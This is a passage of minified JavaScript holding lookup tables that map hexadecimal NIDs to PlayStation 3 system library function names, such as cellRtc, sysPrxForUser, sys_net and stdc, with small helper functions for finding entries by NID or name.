e&&this.opds.names[e]?this.opds.names[e]:0}},cellHttpUtil={libname:"cellHttpUtil",opds:{nids:{},names:{}},names:{"0x37BB53A2":"cellHttpUtilAppendHeaderValue","0x8E52EE08":"cellHttpUtilBase64Decoder","0x83FAA354":"cellHttpUtilBase64Encoder","0x4ACCEBF":"cellHttpUtilBuildHeader","0x1C6E4DBB":"cellHttpUtilBuildRequestLine","0x6F0F7667":"cellHttpUtilBuildUri","0x97F9FBE5":"cellHttpUtilCopyHeader","0x50EA75BC":"cellHttpUtilCopyStatusLine","0xF05DF789":"cellHttpUtilCopyUri","0x9003B1F2":"cellHttpUtilEscapeUri","0x8E6C5BB9":"cellHttpUtilFormUrlDecode","0x44D756D6":"cellHttpUtilFormUrlEncode","0x8EA23DEB":"cellHttpUtilMergeUriPath","0xE1FB0EBD":"cellHttpUtilParseHeader","0xA3457869":"cellHttpUtilParseProxy","0x2BCBCED4":"cellHttpUtilParseStatusLine","0x32FAAF58":"cellHttpUtilParseUri","0x8BB608E4":"cellHttpUtilParseUriPath","0xAABEB869":"cellHttpUtilSweepPath","0x2763FD66":"cellHttpUtilUnescapeUri"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},cellRtc={libname:"cellRtc",opds:{nids:{},names:{}},names:{"0x7F1086E6":"cellRtcCheckValid","0xFB51FC61":"cellRtcCompareTick","0x46CA7FE0":"cellRtcConvertLocalTimeToUtc","0xC48D5002":"cellRtcConvertUtcToLocalTime","0x5491B9D5":"cellRtcFormatRfc2822","0xA07C3D2F":"cellRtcFormatRfc2822LocalTime","0xD9C0B463":"cellRtcFormatRfc3339","0x1324948A":"cellRtcFormatRfc3339LocalTime","0x32C941CF":"cellRtcGetCurrentClock","0x2CCE9CF5":"cellRtcGetCurrentClockLocalTime","0xC4808FD7":"cellRtcGetCurrentSecureTick","0x9DAFC0D9":"cellRtcGetCurrentTick","0xC2D8CF95":"cellRtcGetDayOfWeek","0x5B6A0A1D":"cellRtcGetDaysInMonth","0xDFFF32CF":"cellRtcGetDosTime","0xF582308D":"cellRtcGetSystemTime","0xC7BDB7EB":"cellRtcGetTick","0x748BEDA3":"cellRtcGetTickResolution","0xCB90C761":"cellRtcGetTime","0xE7086F05":"cellRtcGetWin32FileTime","0x5316B4A8":"cellRtcIsLeapYear","0xC5BC0FAC":"cellRtcParseDateTime","0xCF11C3D6":"cellRtcParseRfc3339","0x5E78D18E":"cellRtcSetConf","0x3DC09A3E":"cellRtcSetCurrentSecureTick","0xEB22BB86":"cellRtcSetCurrentTick","0x9598D4B3":"cellRtcSetDosTime","0xE22D74A4":"cellRtcSetSystemTime","0x99B13034":"cellRtcSetTick","0xBB543189":"cellRtcSetTime","0x5F68C268":"cellRtcSetWin32FileTime","0x75744E2A":"cellRtcTickAddDays","0xD41D3BD2":"cellRtcTickAddHours","0xF8509925":"cellRtcTickAddMicroseconds","0x2F010BFA":"cellRtcTickAddMinutes","0xE0ECBB45":"cellRtcTickAddMonths","0xCCCE71BD":"cellRtcTickAddSeconds","0x269A1882":"cellRtcTickAddTicks","0x64C63FD5":"cellRtcTickAddWeeks","0x332A74DD":"cellRtcTickAddYears"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},netctl_main={libname:"netctl_main",opds:{nids:{},names:{}},names:{"0x3A5CB886":"sceNetCtlGetEtherInfoVsh","0xC67D3DB3":"sceNetConfigFreeThreadinfo","0x38479255":"sceNetApCtlConnectVsh","0xB7618526":"sceNetApCtlDisconnectVsh","0x8DA844E1":"sceNetApCtlGetInfoVsh","0x5ED42691":"sceNetApCtlGetStateVsh","0xECD37366":"sceNetApCtlInitVsh","0x4B1EE41D":"sceNetApCtlTermVsh","0x974E50F6":"sceNetCtlAddHandlerSysUtil","0x953F1E14":"sceNetCtlAddHandlerVsh","0x5D1D7803":"sceNetCtlConnectVsh","0xFA020C41":"sceNetCtlConnectWithRetryVsh","0x13CD17FB":"sceNetCtlDelHandlerSysUtil","0xA111D8FB":"sceNetCtlDelHandlerVsh","0x5AB91391":"sceNetCtlDisconnectVsh","0x9A528B81":"sceNetCtlGetInfoVsh","0x6F2521E0":"sceNetCtlGetScanInfoVsh","0x2DCA4721":"sceNetCtlGetStateSysUtil","0xEC73B49D":"sceNetCtlGetStateVsh","0x218CFBD3":"sceNetCtlInitVsh","0x61E363B0":"sceNetCtlScanVsh","0x352EFDDF":"sceNetCtlTermVsh"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},pngdec_ppuonly={libname:"pngdec_ppuonly",opds:{nids:{},names:{}},names:{"0xC515302":"cellPngDecExtOpen","0x157D30C5":"cellPngDecCreate","0x2310F155":"cellPngDecDecodeData","0x48436B2D":"cellPngDecExtCreate","0x5B3D1FF1":"cellPngDecClose","0x726FC1D0":"cellPngDecExtDecodeData","0x820DAE1A":"cellPngDecDestroy","0x8B33F863":"cellPngDecExtReadHeader","0x9CCDCC95":"cellPngDecReadHeader","0x9E9D7D42":"cellPngDecExtSetParameter","0xD2BC5BFD":"cellPngDecOpen","0xE97C9BD4":"cellPngDecSetParameter"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},sysConsoleId={libname:"sysConsoleId",opds:{nids:{},names:{}},names:{"0xF220F751":"sys_get_console_id"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},sysBdMediaId={libname:"sysBdMediaId",opds:{nids:{},names:{}},names:{"0xEF666B52":"sys_get_bd_media_id"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},sysPrxForUser={libname:"sysPrxForUser",opds:{nids:{},names:{}},names:{"0x3EF17F8C":"_sys_look_ctype_table","0x2E20EC1":"_sys_printf_basename","0xFECC05B6":"_sys_time","0x8CFEF376":"__tls_get_addr","0x637BDAAE":"_proc_spawn","0xF7F7FB20":"sys_free","0xB9BF1078":"sys_heap_alloc_heap_memory","0xB2FCF2C8":"sys_heap_create_heap","0xAEDE4B03":"sys_heap_delete_heap","0x8A561D92":"sys_heap_free","0xD1AD4570":"sys_heap_get_mallinfo","0xB6369393":"sys_heap_get_total_free_size","0x35168520":"sys_heap_malloc","0x44265C08":"sys_heap_memalign","0x8985B5B6":"sys_heap_stats","0xBDB18F83":"sys_malloc","0x318F17E1":"sys_memalign","0x3BD53C7B":"sys_memchr","0xFB5DB080":"sys_memcmp","0x6BF66EA7":"sys_memcpy","0x27427742":"sys_memmove","0x68B9B011":"sys_memset","0x4BBF59D0":"sys_net_eurus_post_command","0x4232B0DB":"sys_panic","0x9F04F7AF":"sys_printf","0x96328741":"sys_process_at_Exitspawn","0x2C847572":"sys_process_atexitspawn","0xBAB62B99":"sys_process_wait_for_game_process","0xC4FD6121":"sys_qsort","0x6574237":"sys_snprintf","0xA1F9EAFE":"sys_sprintf","0xDD0C1E09":"sys_spu_printf_attach_group","0x1AE10B92":"sys_spu_printf_attach_thread","0x5FDFB2FE":"sys_spu_printf_detach_group","0xB3BBCF2A":"sys_spu_printf_detach_thread","0xDD3B27AC":"sys_spu_printf_finalize","0x45FE2FCE":"sys_spu_printf_initialize","0x52D29A6":"sys_strcat","0x7498887B":"sys_strchr","0x459B4393":"sys_strcmp","0x99C88692":"sys_strcpy","0x2D36462B":"sys_strlen","0x1CA525A2":"sys_strncasecmp","0x996F7CF8":"sys_strncat","0x4E83D2C":"sys_strncmp","0xD3039D4D":"sys_strncpy","0x191F0C4A":"sys_strrchr","0x4B2F301A":"sys_tolower","0xEEF75113":"sys_toupper","0xFA7F693D":"sys_vprintf","0x618936B":"sys_vsnprintf","0x791B9219":"sys_vsprintf","0x8A2F159B":"console_getc","0xE66BAC36":"console_putc","0xF57E1D6F":"console_write","0xE76964F5":"sys_game_board_storage_read","0x8BB03AB8":"sys_game_board_storage_write","0x9F950780":"sys_game_get_rtc_status","0x620E35A7":"sys_game_get_system_sw_version","0x3172759D":"sys_game_get_temperature","0xFC52A7A9":"sys_game_process_exitspawn","0x67F9FEDB":"sys_game_process_exitspawn2","0xACAD8FB6":"sys_game_watchdog_clear","0x9E0623B5":"sys_game_watchdog_start","0x6E05231D":"sys_game_watchdog_stop","0x71A8472A":"sys_get_random_number","0x744680A2":"sys_initialize_tls","0x4A071D98":"sys_interrupt_thread_disestablish","0xDA0EB71A":"sys_lwcond_create","0x1C9A942C":"sys_lwcond_destroy","0xEF87A695":"sys_lwcond_signal","0xE9A1BD84":"sys_lwcond_signal_all","0x52AADADF":"sys_lwcond_signal_to","0x2A6D9D51":"sys_lwcond_wait","0x2F85C0EF":"sys_lwmutex_create","0xC3476D0C":"sys_lwmutex_destroy","0x1573DC3F":"sys_lwmutex_lock","0xAEB78725":"sys_lwmutex_trylock","0x1BC200F4":"sys_lwmutex_unlock","0xA146A143":"sys_mempool_allocate_block","0xCA9A60BF":"sys_mempool_create","0x9D3C0F81":"sys_mempool_destroy","0x608212FC":"sys_mempool_free_block","0x25596F51":"sys_mempool_get_count","0x5C65656":"sys_mempool_try_allocate_block","0xB257540B":"sys_mmapper_allocate_memory","0x70258515":"sys_mmapper_allocate_memory_from_container","0x409AD939":"sys_mmapper_free_memory","0xDC578057":"sys_mmapper_map_memory","0x4643BA6E":"sys_mmapper_unmap_memory","0x24A1EA07":"sys_ppu_thread_create","0xAFF080A4":"sys_ppu_thread_exit","0x350D454E":"sys_ppu_thread_get_id","0xA3E3BE68":"sys_ppu_thread_once","0x3DD4A957":"sys_ppu_thread_register_atexit","0xAC6FC404":"sys_ppu_thread_unregister_atexit","0xDE2F9C85":"sys_process_atexit","0xE6F2C1E7":"sys_process_exit","0xE75C40F2":"sys_process_get_paramsfo","0x4F7172C9":"sys_process_is_stack","0x9D2EC4FF":"sys_process_spawn","0xBF8EE5BB":"sys_process_spawn_with_memory_budget","0xE95FFA0A":"sys_process_wait_for_game_process","0xA2C7BA64":"sys_prx_exitspawn_with_level","0x341BB97":"sys_prx_get_module_id_by_address","0xE0998DBF":"sys_prx_get_module_id_by_name","0x84BB6774":"sys_prx_get_module_info","0xA5D06BF0":"sys_prx_get_module_list","0x74311398":"sys_prx_get_my_module_id","0x26090058":"sys_prx_load_module","0xEF68C17C":"sys_prx_load_module_by_fd","0xB27C8AE7":"sys_prx_load_module_list","0xE7EF3A80":"sys_prx_load_module_list_on_memcontainer","0xAA6D9BFF":"sys_prx_load_module_on_memcontainer","0xA330AD84":"sys_prx_load_module_on_memcontainer_by_fd","0x42B23552":"sys_prx_register_library","0x9F18429D":"sys_prx_start_module","0x80FB0C19":"sys_prx_stop_module","0xF0AECE0D":"sys_prx_unload_module","0xD0EA47A7":"sys_prx_unregister_library","0xB995662E":"sys_raw_spu_image_load","0x893305FA":"sys_raw_spu_load","0xB1BD7A61":"sys_rsxaudio_close_connection","0xA9879A33":"sys_rsxaudio_create_connection","0xC839BB4C":"sys_rsxaudio_initialize","0x7B034C78":"sys_rsxaudio_prepare_process","0x9C9605EE":"sys_rsxaudio_start_process","0xFF34C76C":"sys_rsxaudio_stop_process","0x39E9B068":"sys_rsxaudio_unimport_shared_memory","0x87C87495":"sys_rsxaudio_finalize","0x2F256B29":"sys_rsxaudio_import_shared_memory","0x8C2BB498":"sys_spinlock_initialize","0xA285139D":"sys_spinlock_lock","0x722A0254":"sys_spinlock_trylock","0x5267CB35":"sys_spinlock_unlock","0x1ED454CE":"sys_spu_elf_get_information","0xDB6B3250":"sys_spu_elf_get_segments","0xE0DA8EFD":"sys_spu_image_close","0xEBE5F72F":"sys_spu_image_import","0x8461E528":"sys_time_get_system_time"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},sys_fs_ps2disc={libname:"sys_fs_ps2disc",opds:{nids:{},names:{}},names:{"0x8160A811":"ps2disc_mount"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},sys_io={libname:"sys_io",opds:{nids:{},names:{}},names:{"0x2073B7F6":"cellKbClearBuf","0x4AB1FA77":"cellKbCnvRawCode","0xBFCE3285":"cellKbEnd","0x1F71ECBE":"cellKbGetConfiguration","0x2F1774D5":"cellKbGetInfo","0x433F6EC0":"cellKbInit","0xFF0A21B7":"cellKbRead","0xA5F85E4D":"cellKbSetCodeType","0x3F72C56E":"cellKbSetLEDStatus","0xDEEFDFA7":"cellKbSetReadMode","0x3EF66B95":"cellMouseClearBuf","0xE10183CE":"cellMouseEnd","0x3138E632":"cellMouseGetData","0x6BD131F0":"cellMouseGetDataList","0x5BAF30FB":"cellMouseGetInfo","0xA328CC35":"cellMouseGetRawData","0x21A62E9B":"cellMouseGetTabletDataList","0x4D0B3B1F":"cellMouseInfoTabletMode","0xC9030138":"cellMouseInit","0x2D16DA4F":"cellMouseSetTabletMode","0xD5F2C14":"cellPadClearBuf","0x4D9B75D5":"cellPadEnd","0xDBF4C59C":"cellPadGetCapabilityInfo","0x8B72CDA1":"cellPadGetData","0x6BC09C61":"cellPadGetDataExtra","0x3AAAD464":"cellPadGetInfo","0xA703A51D":"cellPadGetInfo2","0x3F797DFF":"cellPadGetRawData","0xE2DFAAD":"cellPadInfoPressMode","0x78200559":"cellPadInfoSensorMode","0x1CF98800":"cellPadInit","0xBAFD6409":"cellPadLddDataInsert","0x8B8231E5":"cellPadLddGetPortNo","0x20A97BA2":"cellPadLddRegisterController","0xE442FAA8":"cellPadLddUnregisterController","0x8A00F264":"cellPadPeriphGetData","0x4CC9B68D":"cellPadPeriphGetInfo","0xF65544EE":"cellPadSetActDirect","0x578E3C98":"cellPadSetPortSetting","0xF83F8182":"cellPadSetPressMode","0xBE5BE3BA":"cellPadSetSensorMode","0x6AE10596":"sys_config_add_service_listener","0x662BB2AD":"sys_config_register_io_error_handler","0x78F058A2":"sys_config_register_service","0xF5D9D571":"sys_config_remove_service_listener","0x68FCBC6":"sys_config_start","0x6D367953":"sys_config_stop","0x8E06D13B":"sys_config_unregister_io_error_handler","0x5F81900C":"sys_config_unregister_service"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},sys_net={libname:"sys_net",opds:{nids:{},names:{}},names:{"0xFAFD69A4":"sys_net_lib_calloc","0x78EAE3FB":"sys_net_lib_malloc","0x3CA02562":"sys_net_lib_realloc","0xB017E2B":"sce_net_add_name_server","0x853BE146":"sce_net_add_name_server_with_char","0xC82191E3":"sce_net_flush_route","0xFD58F18A":"sce_net_get_name_server","0xC2F38FF1":"sce_net_set_default_gateway","0x16F1CE55":"sce_net_set_ip_and_mask","0x943231D1":"sce_net_set_name_server","0x6005CDE1":"sys_net_errno_loc","0xC9157D30":"sys_net_h_errno_loc","0x959C4441":"sys_net_lib_abort","0xF7ACD655":"sys_net_lib_bnet_control","0xE61CB17A":"sys_net_lib_free","0x46497DA6":"sys_net_lib_get_system_time","0x44F05E73":"sys_net_lib_if_nametoindex","0x92852B93":"sys_net_lib_ioctl","0x7608719D":"sys_net_lib_rand","0x827CA646":"sys_net_lib_reset_libnetctl_queue","0xF0645452":"sys_net_lib_set_libnetctl_queue","0x8F3E1687":"sys_net_lib_sync_clear","0x6B6CAF26":"sys_net_lib_sync_create","0x5D0CA0E8":"sys_net_lib_sync_destroy","0x3C95AA78":"sys_net_lib_sync_signal","0x9A62982A":"sys_net_lib_sync_wait","0x4323CDA7":"sys_net_lib_sysctl","0x3C7189C0":"sys_net_lib_thread_create","0x7E6FB08D":"sys_net_lib_thread_exit","0xF5F39114":"sys_net_lib_thread_join","0xAEB2EC57":"sys_net_lib_usleep","0xC94F6939":"accept","0xB0A59804":"bind","0x64F66D35":"connect","0xF7AC8941":"gethostbyaddr","0x71F4C717":"gethostbyname","0xF9EC2DB6":"getpeername","0x13EFE7F5":"getsockname","0x5A045BD1":"getsockopt","0xDABBC2C0":"inet_addr","0xA9A079E0":"inet_aton","0x566893CE":"inet_lnaof","0xB4152C74":"inet_makeaddr","0xE39A62A7":"inet_netof","0x506AD863":"inet_network","0x858A930B":"inet_ntoa","0xC98A3146":"inet_ntop","0x8AF3825E":"inet_pton","0x28E208BB":"listen","0xFBA04F37":"recv","0x1F953B9F":"recvfrom","0xC9D09C34":"recvmsg","0xDC751B40":"send","0xAD09481B":"sendmsg","0x9647570B":"sendto","0x88F03575":"setsockopt","0xA50777C6":"shutdown","0x9C056962":"socket","0x6DB6E8CD":"socketclose","0x51EE3EE":"socketpoll","0x3F09E20A":"socketselect","0x8CCF05ED":"sys_net_abort_resolver","0x8D1B77FB":"sys_net_abort_socket","0x44328AA2":"sys_net_close_dump","0xB68D5625":"sys_net_finalize_network","0xFDB8F926":"sys_net_free_thread_context","0xDEA29EF4":"sys_net_get_if_list","0x1D14D6E4":"sys_net_get_lib_name_server","0x878472F0":"sys_net_get_name_server","0x368823C0":"sys_net_get_netemu_test_param","0xAFC21C3E":"sys_net_get_routing_table_af","0x3B27C780":"sys_net_get_sockinfo","0xA765D029":"sys_net_get_sockinfo_ex","0xED0BC354":"net_get_test_param","0x5BD4438":"sys_net_get_udpp2p_test_param","0x27FB339D":"sys_net_if_ctl","0x139A9E9B":"sys_net_initialize_network_ex","0xAB447704":"sys_net_open_dump","0x89C9917C":"sys_net_read_dump","0x9A318259":"sys_net_set_lib_name_server","0xE2434507":"sys_net_set_netemu_test_param","0x7687D48C":"sys_net_set_resolver_configurations","0x4AB0B9B9":"sys_net_set_test_param","0x10B81ED6":"sys_net_set_udpp2p_test_param","0xB48636C4":"sys_net_show_ifconfig","0x79B61646":"sys_net_show_route","0x2AAE42A8":"sys_netset_abort","0x73D364D5":"sys_netset_close","0x3CFA784B":"sys_netset_get_if_id","0xB15E9321":"sys_netset_get_key_value","0xABCB26A1":"sys_netset_get_status","0x5853BE79":"sys_netset_if_down","0xA2B22757":"sys_netset_if_up","0xD4C6B098":"sys_netset_open"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},x3={libname:"x3",opds:{nids:{},names:{}},names:{"0xD275ADBD":"x3USBMass_Format","0x48F9FABB":"x3USBMass_GetDeviceInfo","0xC610617F":"x3USBMass_GetMountEntry","0x853ACF0E":"x3USBMass_GetStorageInfo","0x332B4874":"x3USBMass_GetAttachedDeviceIds","0x33587DAE":"x3USBMass_GetStorageInformation","0xEFC6EF88":"bXCeMemMgr_bXCeMemMgr_constructor","0x5E0BDA86":"bXCeMemMgr_bXCeMemMgr_destructor","0xBB1262AA":"bXCeMemMgr_operator_delete","0x515ED57B":"bXCeMemMgr_operator_new","0xBB904C88":"bXCeParser_SetResolveEntity","0xDB5BF8B0":"bXCeParser_SkipIgnorableWhiteSpace","0x6F0B1117":"bXCeXMLToD_Initialize","0xDFD0D9A7":"bXCeXMLToD_Parse","0x7FD1B82B":"bXCeXMLToD_Destroy","0xCC03A4E5":"bXCeAttrList_Initialize","0xFBC581BF":"bXCeAttrList_AddAttribute","0xE49B2FB7":"bXCeAttrList_GetAttribute","0x4D31F663":"bXCeAttrList_GetAttribute","0x3BDF774D":"bXCeAttrList_Clear","0x3C997A99":"bXCeAttrList_Length","0xCD374B29":"bXCeAttrList_Destroy","0x4161647F":"bXCeNodeList_Item","0x769CD90E":"bXCeNodeList_Destroy","0x8760D5F5":"bXCeNodeList_FindItem","0xB83F9AC8":"bXCeUTF8Utils_GetHexInteger","0xD98B043A":"bXCeUTF8Utils_GetNextInteger","0x6813FD25":"bXCeUTF8Utils_ResolveCharRef","0x95AC1738":"bXCeXMLParser_Initialize","0x711095A5":"bXCeXMLParser_SaveContext","0x1A6BEE58":"bXCeXMLParser_Parse","0xC7B03EDE":"bXCeXMLParser_Reset","0x3745F4":"bXCeXMLParser_Resume","0xD62A98D0":"bXCeXMLParser_Destroy","0x61295FFE":"bXCeDoc_ImportNode","0x828A7BA3":"bXCeDoc_Initialize","0x8F987385":"bXCeDoc_InsertNode","0x129EE11A":"bXCeDoc_RemoveChild","0xD6A5EB3F":"bXCeDoc_GetChildNodes","0x7AC4128A":"bXCeDoc_CreateTextNode","0xDAE2950C":"bXCeDoc_AddElementChild","0xEB637C94":"bXCeDoc_GetElementsByTagName","0xF4FA6F28":"bXCeDoc_AddAttr","0x37AD4EFF":"bXCeDoc_Destroy","0xEC289A5A":"bXUtils_Initialize","0x458D68AE":"bXUtils_GetDocument","0x16E0B7A4":"bXUtils_Destroy","0x316C9286":"bXUtils_bXToXML","0xF85DD772":"bXUtils_bXUtils_constructor","0xB5AB27F9":"bXUtils_bXUtils_destructor","0x6D88479C":"xMWIOCTL_Disconnect","0xE2BBDCC8":"xMWIOCTL_ConnectDevice","0x71254CDA":"xMWIOCTL_DeviceControl","0xCB1D791D":"xMWIOCTL_StorageDriverAccess","0xA0BBEBEE":"xMWIOCTL_XMWIOCTL_constructor","0x7CAB64F4":"xMWIOCTL_XMWIOCTL_destructor","0x59D2C50":"bXCeDoc_GetDocRoot","0x106D7436":"bXCeDoc_GetSibling","0x7257947C":"bXCeDoc_GetAttrName","0x793CAA0":"bXCeDoc_GetNextAttr","0xAB1C71B5":"bXCeDoc_GetNodeName","0x5471587":"bXCeDoc_GetNodeType","0x2388D15D":"bXCeDoc_GetAttrValue","0x2EE83DE4":"bXCeDoc_GetAttribute","0x38474239":"bXCeDoc_GetFirstAttr","0x7CA3EE8E":"bXCeDoc_GetRootconst","0x8DD3F7E7":"bXCeDoc_GetText","0x174754F0":"bXCeDoc_GetChild","0x17E56280":"bXCeMemAlloc","0x13C32B71":"bXCeMemDestroy","0xE4140D31":"bXCeMemFree","0x9003AE80":"bXCeMemInitialize","0xEB201A52":"sceSystemFileAddIndexW","0x4172107C":"sceSystemFileCalcSizeW","0xB0452730":"sceSystemFileFree","0xB66B5308":"sceSystemFileGetIndex","0xA06976E":"sceSystemFileGetIndexInfo","0xD277E345":"sceSystemFileGetValuePtr","0x869B19A4":"sceSystemFileInitFormatW","0x4A9C874B":"sceSystemFileLoadAll","0xB2F21D3A":"sceSystemFileLoadAll2","0xACD37D51":"sceSystemFileOverWriteToMem","0x837211A9":"sceSystemFileSaveToMemW","0xEEAEE4EF":"sceSystemFileSetValueSize","0x887EC484":"sys_exit_x3","0x5858821A":"sys_init_x3","0xEF2DA2AB":"x3_lib_exit","0xE7565C90":"x3_lib_init","0x34E2588C":"xAutoMounterGetInstance","0x9C246A91":"xBDVDGetInstance","0xE9E8B32F":"xCore_Exit","0x16FA740A":"xCore_GetInterface","0x28BCCEC6":"xEventHandlerGetInstance","0xE75FDA8D":"xRegistryAddKey","0xFA705F30":"xRegistryDeleteKey","0xA707820F":"xRegistryDestroy","0xACF69049":"xRegistryDestroyInstance","0x66D61138":"xRegistryDestroyList","0x1D666D7A":"xRegistryDump_DBG","0x11409ED3":"xRegistryGetDefaultInstance","0x12B480D0":"xRegistryGetList","0x8194A772":"xRegistryGetNewInstance","0x4D0651A7":"xRegistryGetValue","0xECACA8AD":"xRegistrySetValue","0x818DCC19":"xRegistryTransactionBegin","0xEC62EB67":"xRegistryTransactionEnd","0xEE698B61":"xUSBMassDestroyInstance","0x7066DA81":"xUSBMassGetInstance"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof e&&this.opds.names[e]?this.opds.names[e]:0}},stdc={libname:"stdc",opds:{nids:{},names:{}},names:{"0x8A6830E7":"abort","0x24C9E021":"abs","0x1313A420":"acos","0xDECE76A6":"acosf","0x5EFC660":"asin","0x411434BB":"asinf","0x7F579E03":"atan","0x31DB8C89":"atan2","0xFB932A56":"atan2f","0x3C057FBD":"atanf","0x5E7888F0":"bsearch","0x21E6D304":"ceil","0xBAF11866":"ceilf","0x8B439438":"clearerr","0x24F6CBDD":"clock","0xB120F6CA":"close","0xA3440924":"closedir","0xBC7B4B8E":"ctime","0x4217B4CF":"difftime","0xC291E698":"exit","0x18668CE3":"exp","0xFCF08193":"expf","0x705D9E24":"f_acosf","0xABDCCC7A":"f_atan2f","0x7AB679DA":"f_cosf","0xFDE072":"f_powf","0xB54CC9A1":"f_sinf","0x58EB9E57":"fabs","0xE1BD3587":"fclose","0xE3812672":"fdopen","0x4FFBA189":"feof","0x33D6AE54":"ferror","0x814D8CB0":"fflush","0xAC893127":"fgetc","0xAF44A615":"fgets","0x55D4866E":"fgetws","0xD360DCB4":"fileno","0x519EBB77":"floor","0x23B985F7":"floorf","0x895CDB49":"fmaxf","0x7C2EAEB5":"fminf","0xE769E5CF":"fmod","0x9A81E583":"fmodf","0x69C27C12":"fopen","0xFAEC8C60":"fprintf","0x79819DBF":"fputc","0x4D348427":"fputs","0xD40723D6":"fread","0x7F381837":"frexp","0xFE88E97E":"fscanf","0x69FF1B9B":"fseek","0xAB77019F":"fstat","0x3BD9CE0A":"fsync","0x26F023D5":"ftell","0xE9137453":"fwprintf","0xF88F26C4":"fwrite","0xF0E022C6":"getchar","0x90010029":"gets","0xEB26298C":"gmtime","0xAD62A342":"ldiv","0x266311A0":"localtime","0x3AD203FA":"lrint","0x9558ED08":"lrintf","0x772F1E4D":"lround","0xFBB4047A":"lroundf","0xAEC7C970":"lseek","0x12A55FB7":"mbrtowc","0xFCAC2E8E":"mbstowcs","0xCBAC7AD7":"memchr","0xC3E14CBE":"memcmp","0x831D70A5":"memcpy","0x5B162B7F":"memmove","0x5909E3C4":"memset","0x153B364A":"mkdir","0x19CCBB81":"mktime","0xA713F8CF":"nan","0x8ECAE294":"nextafter","0xB7696143":"nextafterf","0xF356418C":"open","0x3DBC3BEE":"opendir","0x692B497F":"perror","0x38E69F09":"pow","0x4DDB926B":"powf","0xC01D9F97":"printf","0x2677568C":"putchar","0xE3CC73F3":"puts","0xA9F68EFF":"qsort","0x15BDCC00":"rand","0xFA00D211":"read","0x2B81FB7F":"readdir","0x75D4485C":"rename","0x54F57626":"rewind","0xF428F0F":"rint","0x7E7017B1":"rmdir","0xF3EC0258":"round","0xC984BF53":"roundf","0x703EC767":"setvbuf","0x3A840AE3":"snprintf","0x273B9711":"sprintf","0xB1F4779D":"spu_thread_printf","0x659E011E":"sqrt","0x8451EDF0":"sqrtf","0xD2A593B":"srand","0xE9B560A5":"sscanf","0x717B2502":"stat","0xB6D92AC3":"strcasecmp","0xAA9635D7":"strcat","0xDEBEE2AF":"strchr","0x3D85D6F8":"strcmp","0x4A183FC":"strcpy","0xFC0428A6":"strdup","0x44796E5C":"strerror","0xCB9C535B":"strftime","0x2F45D39C":"strlen","0xB6257E3D":"strncasecmp","0x589B5314":"strncat","0xE1E83C65":"strncmp","0x8AB0ABC6":"strncpy","0xF89DC648":"strpbrk","0x73EAE03D":"strrchr","0xC5C09834":"strstr","0xE40BA755":"strtok","0xB738027A":"strtok_r","0xD14ECE90":"strtol","0x62BF1D6C":"swprintf","0x3A210C93":"swscanf","0xD50277AD":"tan","0x9379E36E":"tanf","0x89F6F026":"time","0x475D855B":"trunc","0xEF110B6B":"unlink","0xFB2081FD":"vfprintf","0xE48348E9":"vprintf","0x99A72146":"vsnprintf","0x7AE82E0F":"vsprintf","0x4B6A4010":"vswprintf","0xB2702E15":"wcrtomb","0x7FDCF73E":"wcscat","0x82A3CC30":"wcschr","0xF0776A44":"wcscmp","0xF41355F9":"wcscpy","0xF3EF3678":"wcscspn","0x65E8D4D0":"wcslen","0x9439E4CD":"wcsncat","0x6D5115B0":"wcsncmp","0x84378DDC":"wcsncpy","0xB7AB5127":"wcsrchr","0xA797790F":"wcsstr","0x116CDA13":"wcstol","0xA30D4797":"wcstoll","0xB680E240":"wcstombs","0x4E72F810":"wmemchr","0xAC758D20":"wmemcmp","0xA8B07F1B":"wmemcpy","0x99B38CE7":"wmemmove","0xF06EED36":"wmemset","0x526A496A":"write"},getOPDbyNID:function(e){var t="number"==typeof e||"string"==typeof e?"0x"+parseInt(e).toString(16):"";return t.length>0&&this.opds.nids[t]?this.opds.nids[t]:0},getOPDbyName:function(e){return"string"==typeof 